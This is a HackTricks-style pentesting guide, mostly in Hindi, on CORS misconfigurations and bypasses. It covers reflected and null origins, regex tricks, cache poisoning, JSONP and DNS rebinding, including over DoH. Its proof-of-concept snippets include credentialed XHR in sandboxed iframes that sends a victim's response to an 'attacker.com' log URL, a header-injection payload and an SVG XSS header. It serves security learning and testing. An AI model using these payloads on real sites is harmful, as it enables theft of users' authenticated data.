CORS - Misconfigurations & Bypass

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

CORS क्या है?

Cross-Origin Resource Sharing (CORS) standard सेर्वरों को यह परिभाषित करने में सक्षम बनाता है कि कौन उनके assets तक पहुँच सकता है और कौन से HTTP request methods बाहरी स्रोतों से अनुमति प्राप्त हैं।

एक same-origin नीति यह अनिवार्य करती है कि जिस सर्वर द्वारा कोई resource request किया जा रहा है और जिस सर्वर पर वह resource होस्ट है, उनमें समान protocol (उदा., http://), domain name (उदा., internal-web.com), और port (उदा., 80) होना चाहिए। इस नीति के अंतर्गत, केवल उसी डोमेन और पोर्ट से आने वाले वेब पेजों को संसाधनों तक पहुँच की अनुमति होती है।

http://normal-website.com/example/example.html के संदर्भ में same-origin नीति का अनुप्रयोग निम्नानुसार दर्शाया गया है:

URL accessedAccess permitted?
http://normal-website.com/example/हाँ: समान scheme, domain, और port
http://normal-website.com/example2/हाँ: समान scheme, domain, और port
https://normal-website.com/example/नहीं: अलग scheme और port
http://en.normal-website.com/example/नहीं: अलग domain
http://www.normal-website.com/example/नहीं: अलग domain
http://normal-website.com:8080/example/नहीं: अलग port*

*Internet Explorer पोर्ट नंबर को same-origin नीति लागू करते समय अनदेखा करता है, इसलिए यह पहुँच अनुमति देता है।

Access-Control-Allow-Origin हेडर

यह हेडर कई origins, एक null मान, या एक wildcard * को अनुमति दे सकता है। हालाँकि, कोई भी ब्राउज़र कई origins का समर्थन नहीं करता, और wildcard * के उपयोग पर सीमाएँ लागू होती हैं। (Wildcard को अकेले ही उपयोग किया जाना चाहिए, और इसे Access-Control-Allow-Credentials: true के साथ साथ इस्तेमाल नहीं किया जा सकता।)

यह हेडर सर्वर द्वारा जारी किया जाता है जब किसी वेबसाइट द्वारा cross-domain resource request की जाती है, और ब्राउज़र स्वचालित रूप से एक Origin हेडर जोड़ता है।

Access-Control-Allow-Credentials हेडर

डिफ़ॉल्ट रूप से, cross-origin requests credentials जैसे कि cookies या Authorization हेडर के बिना किए जाते हैं। फिर भी, एक cross-domain सर्वर credentials भेजे जाने पर प्रतिक्रिया को पढ़ने की अनुमति देने के लिए Access-Control-Allow-Credentials हेडर को true पर सेट कर सकता है।

यदि इसे true पर सेट किया गया है, तो ब्राउज़र credentials (कुकीज़, authorization हेडर, या TLS client certificates) भेजेगा।

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF प्री-फ्लाइट अनुरोध

क्रॉस-डोमेन संचार में प्री-फ्लाइट अनुरोधों को समझना

जब आप विशिष्ट परिस्थितियों में एक क्रॉस-डोमेन रिक्वेस्ट आरंभ करते हैं — उदाहरण के लिए किसी non-standard HTTP method का उपयोग करना (HEAD, GET, POST के अलावा कुछ भी), नए headers जोड़ना, या किसी विशेष Content-Type header value का उपयोग करना — तो एक प्री-फ्लाइट अनुरोध आवश्यक हो सकता है। यह प्रारंभिक अनुरोध, OPTIONS method का उपयोग करते हुए, सर्वर को आने वाले cross-origin अनुरोध के इरादों की सूचना देता है, जैसे कि यह किन HTTP methods और headers का उपयोग करने वाला है।

Cross-Origin Resource Sharing (CORS) प्रोटोकॉल इस प्री-फ्लाइट चेक को अनिवार्य करता है ताकि अनुरोधित cross-origin ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके — उपलब्ध methods, headers और origin की विश्वसनीयता की पुष्टि करके। प्री-फ्लाइट अनुरोध की आवश्यकता किस स्थितियों में टाली जा सकती है, इसके विस्तृत विवरण के लिए Mozilla Developer Network (MDN) द्वारा प्रदान किए गए गाइड को देखें।

यह ध्यान रखना महत्वपूर्ण है कि absence of a pre-flight request does not negate the requirement for the response to carry authorization headers। इन headers के बिना, ब्राउज़र cross-origin अनुरोध की प्रतिक्रिया को प्रोसेस करने में असमर्थ रहता है।

निम्नलिखित उदाहरण को देखें जो PUT method के साथ और कस्टम header नाम Special-Request-Header के उपयोग के इरादे वाले एक प्री-फ्लाइट अनुरोध को दर्शाता है:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

प्रतिक्रिया में, server संभवतः headers लौटाएगा जो accepted methods, allowed origin, और अन्य CORS policy details को सूचित करते हैं, जैसा नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: यह हेडर यह निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान किन हेडरों का उपयोग किया जा सकता है। इसे सर्वर द्वारा क्लाइंट से आने वाले अनुरोधों में अनुमति प्राप्त हेडरों को संकेत करने के लिए सेट किया जाता है।
  • Access-Control-Expose-Headers: इस हेडर के माध्यम से, सर्वर क्लाइंट को बताता है कि साधारण प्रतिक्रिया हेडरों के अलावा कौन से हेडर प्रतिक्रिया का हिस्सा के रूप में प्रकट किए जा सकते हैं।
  • Access-Control-Max-Age: यह हेडर संकेत करता है कि pre-flight request के परिणाम कितनी देर के लिए कैश किए जा सकते हैं। सर्वर अधिकतम समय, सेकंड में, सेट करता है जिस अवधि के दौरान pre-flight request द्वारा लौटाई गई जानकारी पुन: उपयोग की जा सकती है।
  • Access-Control-Request-Headers: pre-flight requests में उपयोग होने वाला यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि सर्वर को सूचित किया जा सके कि क्लाइंट वास्तविक अनुरोध में कौन से HTTP हेडर उपयोग करना चाहता है।
  • Access-Control-Request-Method: यह हेडर, जो pre-flight requests में भी उपयोग होता है, क्लाइंट द्वारा सेट किया जाता है ताकि यह संकेत दिया जा सके कि वास्तविक अनुरोध में कौन सी HTTP method उपयोग की जाएगी।
  • Origin: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट होता है और cross-origin अनुरोध की origin को सूचित करता है। इसे सर्वर द्वारा यह आकलन करने के लिए उपयोग किया जाता है कि आने वाले अनुरोध को CORS नीति के आधार पर अनुमति दी जानी चाहिए या अस्वीकार किया जाना चाहिए।

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).

लोकल नेटवर्क अनुरोधों का प्री-फ्लाइट अनुरोध

  1. Access-Control-Request-Local-Network: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि संकेत मिल सके कि पूछताछ स्थानीय नेटवर्क संसाधन की ओर लक्षित है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के अंदर से उत्पन्न हुआ है।
  2. Access-Control-Allow-Local-Network: उत्तर में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को लोकल नेटवर्क के बाहर की इकाइयों के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए हरी झंडी का काम करता है, नियंत्रित पहुंच सुनिश्चित करते हुए सुरक्षा प्रोटोकॉल बनाए रखता है।

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

ध्यान दें कि linux 0.0.0.0 IP इन आवश्यकताओं को bypass करने के लिए काम करता है ताकि localhost तक पहुँच बनाई जा सके, क्योंकि वह IP पता “local” माना नहीं जाता।

यह भी संभव है कि आप bypass the Local Network requirements कर सकें अगर आप किसी लोकल endpoint के public IP address का उपयोग करते हैं (जैसे router के public IP)। क्योंकि कई मौकों पर, भले ही public IP एक्सेस किया जा रहा हो, अगर वह from the local network से हो, तो access की अनुमति दी जाएगी।

वाइल्डकार्ड्स

ध्यान दें कि भले ही निम्नलिखित configuration काफी permissive दिख सकती है:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

ब्राउज़रों द्वारा यह अनुमति नहीं दी जाती है और इसलिए credentials उस अनुरोध के साथ नहीं भेजे जाएंगे जिसे यह अनुमति देता है।

शोषण योग्य गलत कॉन्फ़िगरेशन

यह देखा गया है कि अधिकांश वास्तविक हमलों के लिए Access-Control-Allow-Credentials को true पर सेट होना एक आवश्यक शर्त है। यह सेटिंग ब्राउज़र को credentials भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र से अनुरोध करवाने का फ़ायदा खुद से अनुरोध भेजने की तुलना में कम हो जाता है, क्योंकि किसी उपयोगकर्ता के cookies का लाभ उठाना संभव नहीं रहता।

अपवाद: प्रमाणिकरण के रूप में नेटवर्क स्थान का शोषण

एक अपवाद तब मौजूद होता है जब पीड़ित का नेटवर्क स्थान एक प्रकार के प्रमाणीकरण के रूप में काम करता है। यह पीड़ित के ब्राउज़र को एक proxy के रूप में उपयोग करने की अनुमति देता है, जिससे intranet applications तक पहुँचने के लिए IP-based authentication को दरकिनार किया जा सकता है। यह तरीका प्रभाव के मामले में DNS rebinding से मिलता-जुलता है, पर इसे exploit करना सरल होता है।

Origin का Access-Control-Allow-Origin में प्रतिबिंब

वास्तविक दुनिया में वह परिदृश्य जहाँ Origin header का मान Access-Control-Allow-Origin में प्रतिबिंबित हो, सैद्धान्तिक रूप से असंभव माना जाता है क्योंकि इन हेडरों को संयोजित करने पर सीमाएँ हैं। हालाँकि, developers जो कई URLs के लिए CORS सक्षम करना चाहते हैं, वे Access-Control-Allow-Origin हेडर को गतिशील रूप से उत्पन्न करने के लिए Origin हेडर के मान की नकल कर सकते हैं। यह तरीका vulnerabilities पेश कर सकता है, खासकर जब कोई attacker ऐसा domain उपयोग करे जिसका नाम वैध दिखाई देने के लिए डिज़ाइन किया गया हो, जिससे validation logic धोखा खा सकती है।

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin का शोषण

null origin, जैसे redirects या local HTML फ़ाइलों के लिए निर्दिष्ट, एक अनूठी स्थिति रखता है। कुछ applications स्थानीय विकास को सरल बनाने के लिए इस origin को whitelist कर देती हैं, जिससे अनजाने में कोई भी वेबसाइट एक sandboxed iframe के माध्यम से null origin की नकल कर सकती है और इस तरह CORS प्रतिबंधों को बायपास कर सकती है।

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

जब आप किसी domain whitelist का सामना करते हैं, तो bypass के अवसरों के लिए टेस्ट करना ज़रूरी है — जैसे whitelisted domain में attacker के domain को जोड़ना या subdomain takeover vulnerabilities का फायदा उठाना। इसके अलावा, domain validation के लिए उपयोग की जाने वाली regular expressions डोमेन नामकरण कन्वेंशनों की बारीकियों को नज़रअंदाज़ कर सकती हैं, जिससे और bypass के अवसर मिल सकते हैं।

Advanced Regular Expression Bypasses

Regex patterns आम तौर पर alphanumeric, dot (.), और hyphen (-) कैरेक्टर्स पर केंद्रित होते हैं और अन्य संभावनाओं की अनदेखी करते हैं। उदाहरण के लिए, ऐसा domain name जिसे ब्राउज़रों और regex patterns द्वारा अलग तरह से व्याख्यायित किया जाता है, security checks को bypass कर सकता है। Safari, Chrome, और Firefox में subdomains में underscore कैरेक्टर्स के हैंडलिंग से स्पष्ट होता है कि ऐसे अंतर का फायदा उठाकर domain validation logic को circumvent किया जा सकता है।

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Developers अक्सर CORS exploitation से बचाने के लिए उन domains को whitelist करके defensive mechanisms लागू करते हैं जिन्हें जानकारी request करने की अनुमति है। इन सावधानियों के बावजूद सिस्टम की security foolproof नहीं होती। whitelisted domains के भीतर एक भी vulnerable subdomain होने से CORS exploitation के लिए रास्ता खुल सकता है, खासकर अन्य vulnerabilities जैसे XSS (Cross-Site Scripting) के माध्यम से।

To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In this setup, all subdomains of requester.com are allowed access. However, if a subdomain, say sub.requester.com, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to sub.requester.com could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet ने पाया कि कुछ ब्राउज़र्स डोमेन नामों के भीतर अनोखे characters को सपोर्ट करते हैं।

Chrome and Firefox support underscores _ that can bypass regexes implemented to validate the Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari डोमेन नाम में विशेष वर्ण स्वीकार करने में और भी ढीला है:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

अन्य मजेदार URL ट्रिक्स

URL Format Bypass

Server-side cache poisoning

From this research

यह संभव है कि HTTP header injection के जरिए server-side cache poisoning का फायदा उठाकर एक stored Cross-Site Scripting (XSS) vulnerability उत्पन्न किया जा सके। यह स्थिति तब बनती है जब कोई एप्लिकेशन अवैध कैरैक्टर्स के लिए Origin header को sanitize नहीं करता, जिससे खासकर Internet Explorer और Edge उपयोगकर्ताओं के लिए एक vulnerability पैदा हो जाती है। ये ब्राउज़र (0x0d) को एक वैध HTTP header terminator के रूप में मानते हैं, जो HTTP header injection vulnerabilities की ओर ले जाता है।

निम्नलिखित request पर विचार करें जहाँ Origin header को बदल दिया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer and Edge प्रतिक्रिया को इस प्रकार व्याख्यायित करते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page’s character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser’s cache behavior. If the Vary: Origin header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

बायपास

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, जिसे Cross-Site Script Inclusion के नाम से भी जाना जाता है, एक ऐसा vulnerability है जो इस तथ्य का फायदा उठाता है कि Same Origin Policy (SOP) तब लागू नहीं होती जब resources को script tag का उपयोग करके शामिल किया जाता है। इसका कारण यह है कि scripts को अलग-अलग domains से शामिल किए जाने की आवश्यकता होती है। यह vulnerability एक हमलावर को उस किसी भी कंटेंट तक पहुँचने और उसे पढ़ने की अनुमति देती है जो script tag का उपयोग करके शामिल किया गया था।

यह vulnerability विशेष रूप से तब महत्वपूर्ण हो जाती है जब dynamic JavaScript या JSONP (JSON with Padding) शामिल होते हैं, खासकर जब authentication के लिए ambient-authority information जैसे cookies का उपयोग किया जाता है। जब किसी अलग host से resource request की जाती है, तो cookies शामिल हो जाती हैं, जिससे वे हमलावर के लिए सुलभ हो जाती हैं।

इस vulnerability को बेहतर समझने और कम करने के लिए, आप BurpSuite plugin का उपयोग कर सकते हैं जो यहाँ उपलब्ध है: https://github.com/kapytein/jsonp. यह plugin आपकी वेब एप्लिकेशन में संभावित XSSI कमजोरियों की पहचान और समाधान करने में मदद कर सकता है।

Read more about the difefrent types of XSSI and how to exploit them here.

request में एक callback parameter जोड़ने की कोशिश करें। हो सकता है कि पेज JSONP के रूप में डेटा भेजने के लिए तैयार किया गया हो। उस स्थिति में पेज Content-Type: application/javascript के साथ डेटा वापस भेजेगा जो CORS policy को bypass कर देगा।

Easy (useless?) bypass

Access-Control-Allow-Origin restriction को bypass करने का एक तरीका यह है कि आप किसी वेब एप्लिकेशन से अनुरोध करें कि वह आपकी ओर से एक request करे और response वापस भेज दे। हालांकि, इस परिदृश्य में, अंतिम पीड़ित के credentials भेजे नहीं जाएंगे क्योंकि request किसी अलग domain पर की जा रही है।

  1. CORS-escape: यह tool एक proxy प्रदान करता है जो आपके request को उसके headers के साथ फॉरवर्ड करता है, साथ ही Origin header को spoof करके requested domain के अनुरूप बनाता है। यह प्रभावी रूप से CORS policy को bypass करता है। Here’s an example usage with XMLHttpRequest:
  2. simple-cors-escape: यह tool request proxy करने के लिए एक वैकल्पिक तरीका प्रदान करता है। यह आपके request को जैसा है वैसा पास करने के बजाय, server निर्दिष्ट parameters के साथ अपना खुद का request बनाता है।

Iframe + Popup Bypass

आप e.origin === window.origin जैसे CORS checks को iframe बना कर और उससे नया विंडो खोल कर bypass कर सकते हैं। अधिक जानकारी निम्नलिखित पेज पर है:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL एक तकनीक है जिसका उपयोग कुछ सुरक्षा उपायों को bypass करने के लिए DNS records को manipulate करके किया जाता है। यह इस प्रकार काम करती है:

  1. हमलावर एक वेब पेज बनाता है और पीड़ित को उसे एक्सेस कराता है।
  2. हमलावर तब अपने डोमेन का DNS (IP) बदल कर पीड़ित की वेब सर्विस की ओर इशारा कर देता है।
  3. पीड़ित का ब्राउज़र DNS response को cache कर लेता है, जिसमें एक TTL (Time to Live) मान हो सकता है जो बताता है कि DNS record कब तक वैध माना जाना चाहिए।
  4. जब TTL समाप्त हो जाता है, पीड़ित का ब्राउज़र एक नया DNS request करता है, जिससे हमलावर पीड़ित के पेज पर JavaScript को execute कर सकता है।
  5. पीड़ित के IP पर नियंत्रण बनाए रखकर, हमलावर पीड़ित से जानकारी इकट्ठा कर सकता है बिना किसी cookies को पीड़ित सर्वर पर भेजे।

ध्यान देने वाली बात है कि ब्राउज़रों में caching mechanisms होते हैं जो इस तकनीक के तत्काल दुरुपयोग को रोक सकते हैं, भले ही TTL मान छोटा क्यों न हो।

DNS rebinding उन स्थितियों में उपयोगी हो सकता है जहाँ पीड़ित द्वारा किए गए explicit IP checks को bypass करना हो या उन сценарियो में जहाँ कोई user या bot लंबे समय तक एक ही पेज पर रहता है और cache समाप्त हो जाता है।

यदि आपको DNS rebinding का तेज़ी से दुरुपयोग करने का तरीका चाहिए, तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवाओं का उपयोग कर सकते हैं।

अपना खुद का DNS rebinding server चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे टूल का उपयोग कर सकते हैं। इसके लिए आपको अपना local port 53/udp expose करना होगा, एक A record बनाना होगा जो उसे पॉइंट करे (उदा., ns.example.com), और एक NS record बनाना होगा जो पहले बनाए गए A subdomain की ओर इशारा करे (उदा., ns.example.com). तब ns.example.com के किसी भी सबडोमेन को आपका होस्ट resolve करेगा।

आप और अनुभव के लिए सार्वजनिक रूप से चल रहे सर्वर को भी देख सकते हैं: http://rebind.it/singularity.html

DNS Rebinding via DNS Cache Flooding

DNS cache flooding के माध्यम से DNS rebinding एक और तकनीक है जिसका उपयोग ब्राउज़र के caching defense को bypass करके दूसरा DNS request मजबूर करने के लिए किया जाता है। यह इस तरह काम करती है:

  1. प्रारम्भ में, जब पीड़ित DNS request करता है, तो उसे हमलावर के IP पते के साथ जवाब दिया जाता है।
  2. caching defense को bypass करने के लिए, हमलावर एक service worker का उपयोग करता है। service worker DNS cache को flood कर देता है, जिससे cached attacker server नाम प्रभावी रूप से हट जाता है।
  3. जब पीड़ित का ब्राउज़र दूसरा DNS request करता है, तो अब उसे IP address 127.0.0.1 के साथ जवाब दिया जाता है, जो आमतौर पर localhost को संदर्भित करता है।

service worker द्वारा DNS cache को flood करके, हमलावर DNS resolution प्रक्रिया को manipulate कर सकता है और पीड़ित के ब्राउज़र को दूसरी बार ऐसा request करने के लिए मजबूर कर सकता है, जो इस बार हमलावर इच्छित IP पर resolve होगा।

DNS Rebinding via Cache

caching defense को bypass करने का एक और तरीका DNS provider में एक ही सबडोमेन के लिए multiple IP addresses का उपयोग करना है। यह इस प्रकार काम करता है:

  1. हमलावर DNS provider में एक ही सबडोमेन के लिए दो A records (या एक A record जिसमें दो IPs) सेट करता है।
  2. जब ब्राउज़र इन रिकॉर्ड्स की जाँच करता है, तो उसे दोनों IP addresses मिलते हैं।
  3. यदि ब्राउज़र पहले हमलावर के IP का उपयोग करने का निर्णय लेती है, तो हमलावर payload serve कर सकता है जो उसी डोमेन पर HTTP requests करता है।
  4. हालांकि, एक बार जब हमलावर पीड़ित का IP पता प्राप्त कर लेता है, तो वह पीड़ित के ब्राउज़र को जवाब देना बंद कर देता है।
  5. ब्राउज़र, जब यह समझता है कि डोमेन unresponsive है, तो वह दिए गए दूसरे IP को उपयोग करना शुरू कर देता है।
  6. दूसरे IP तक पहुँच कर ब्राउज़र Same Origin Policy (SOP) को bypass कर देता है, जिससे हमलावर इस व्यवहार का दुरुपयोग कर के जानकारी इकट्ठा और एक्स्फिल्ट्रेट कर सकता है।

यह तकनीक उन स्थितियों का लाभ उठाती है जहाँ ब्राउज़र एक डोमेन के लिए कई IP addresses प्रदान किए जाने पर किस तरह व्यवहार करता है। प्रतिक्रियाओं को रणनीतिक रूप से नियंत्रित करके और ब्राउज़र के IP चयन को manipulate करके, हमलावर SOP का शोषण कर सकता है और पीड़ित से जानकारी प्राप्त कर सकता है।

Warning

ध्यान दें कि localhost तक पहुँचने के लिए आपको Windows में 127.0.0.1 और linux में 0.0.0.0 को rebind करने की कोशिश करनी चाहिए।
गोदैडी या cloudflare जैसे providers ने मुझे 0.0.0.0 IP का उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे एक A record बनाने की अनुमति दी जिसमें 2 IPs थे और उनमें से एक “0.0.0.0” था

अधिक जानकारी के लिए आप देख सकते हैं: https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • यदि internal IPs aren’t allowed, हो सकता है कि उन्होंने 0.0.0.0 को रोकना भूल गया हो (Linux और Mac पर काम करता है)
  • यदि internal IPs aren’t allowed, तो CNAME द्वारा localhost पर respond करें (Linux और Ma
  • यदि DNS responses के रूप में internal IPs aren’t allowed, तो आप internal services जैसे www.corporate.internal के लिए CNAMEs respond कर सकते हैं।

DNS Rebidding Weaponized

पिछली bypass तकनीकों और निम्नलिखित टूल के उपयोग के बारे में अधिक जानकारी आप इस टॉक में पा सकते हैं: Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin एक tool है जो DNS rebinding attacks करने के लिए उपयोग होता है। इसमें attack server DNS name के IP address को target machine के IP address पर rebind करने और target machine पर vulnerable software का exploit करने के लिए attack payloads serve करने के आवश्यक घटक शामिल हैं।

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH मूल RFC1035 DNS wire format को HTTPS के भीतर tune करता है (आम तौर पर Content-Type: application/dns-message के साथ एक POST)। resolver अभी भी वही resource records के साथ जवाब देता है, इसलिए SOP तोड़ने वाली तकनीकें तब भी काम करती हैं जब ब्राउज़र attacker-controlled hostname को TLS के माध्यम से resolve करते हैं।

Key observations

  • Chrome (Windows/macOS) और Firefox (Linux) सफलतापूर्वक rebind करते हैं जब उन्हें Cloudflare, Google, या OpenDNS DoH resolvers के लिए कॉन्फ़िगर किया गया हो। transport encryption हमले के फ्लो को first-then-second, multiple-answers, या DNS cache flooding रणनीतियों के लिए न तो बादला करती है और न ही रोकती है।
  • सार्वजनिक resolvers अभी भी हर query देखते हैं, लेकिन वे आमतौर पर उस host-to-IP mapping को लागू नहीं करते जिसे ब्राउज़र को मानना चाहिए। एक बार authoritative server ने rebinding sequence लौटाया, ब्राउज़र original origin tuple रखता है जबकि नई IP से कनेक्ट कर रहा होता है।

Singularity strategies and timing over DoH

  • First-then-second सबसे विश्वसनीय विकल्प बना रहता है: पहली lookup हमलावर IP लौटाती है जो payload serve करती है, उसके बाद की हर lookup internal/localhost IP लौटाती है। सामान्य ब्राउज़र DNS caches के साथ यह ~40–60 सेकंड में ट्रैफ़िक पलट देता है, भले ही recursive resolver केवल HTTPS के माध्यम से उपलब्ध हो।
  • Multiple answers (fast rebinding) अभी भी <3 सेकंड में localhost तक पहुँचता है यदि दो A records (हमलावर IP + 0.0.0.0 Linux/macOS पर या 127.0.0.1 Windows पर) के साथ उत्तर दिया जाए और पहले IP को प्रोग्रामेटिकली blackhole कर दिया जाए (उदा., iptables -I OUTPUT -d <attacker_ip> -j DROP) पेज लोड होने के थोड़ी देर बाद। Firefox की DoH implementation कई बार DNS queries जेनरेट कर सकती है, इसलिए Singularity का समाधान है कि firewall rule को पहले query timestamp के सापेक्ष शेड्यूल किया जाए बजाय हर query पर timer को refresh करने के।

Beating “rebind protection” in DoH providers

  • कुछ providers (उदा., NextDNS) private/loopback उत्तरों को 0.0.0.0 से बदल देते हैं, लेकिन Linux और macOS खुशी से उस destination को local services की ओर route कर देते हैं। इसलिए जानबूझकर 0.0.0.0 को दूसरे record के रूप में लौटाना अभी भी origin को localhost पर pivot कर देता है।
  • केवल direct A/AAAA response को filter करना प्रभावहीन है: internal-only hostname के लिए CNAME लौटाना सार्वजनिक DoH resolver को alias आगे भेजने पर मजबूर करता है जबकि Firefox जैसे ब्राउज़र fallback के रूप में system DNS पर लौटते हैं जो सामान्यतः enterprise DNS सर्वर होता है और internal zone को resolve कर के private IP लौटाता है जिसे अभी भी attacker origin माना जाता है।

Browser-specific DoH behavior

  • Firefox DoH fallback mode में काम करता है: किसी भी DoH विफलता (एक unresolved CNAME target सहित) OS resolver के माध्यम से plaintext lookup को ट्रिगर करती है, जो आमतौर पर एक enterprise DNS सर्वर होता है जो internal namespace जानता है। यही व्यवहार CNAME bypass को corporate networks के अंदर विश्वसनीय बनाता है।
  • Chrome DoH केवल तभी सक्रिय होता है जब OS DNS एक whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, आदि) की ओर इशारा करता है और यह वही fallback chain प्रदान नहीं करता। केवल corporate DNS पर मौजूद internal hostnames इसलिए resolve नहीं होते, लेकिन localhost या किसी भी routable address की ओर rebinding अभी भी सफल होती है क्योंकि हमलावर पूरे response set को नियंत्रित करता है।

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS और DoH endpoint प्रदान करें (Cloudflare और NextDNS built in हैं)। Chrome/Chromium: chrome://flags/#dns-over-https सक्षम करें और OS DNS servers को Chrome के समर्थित resolvers (उदा., 1.1.1.1/1.0.0.1) में सेट करें।
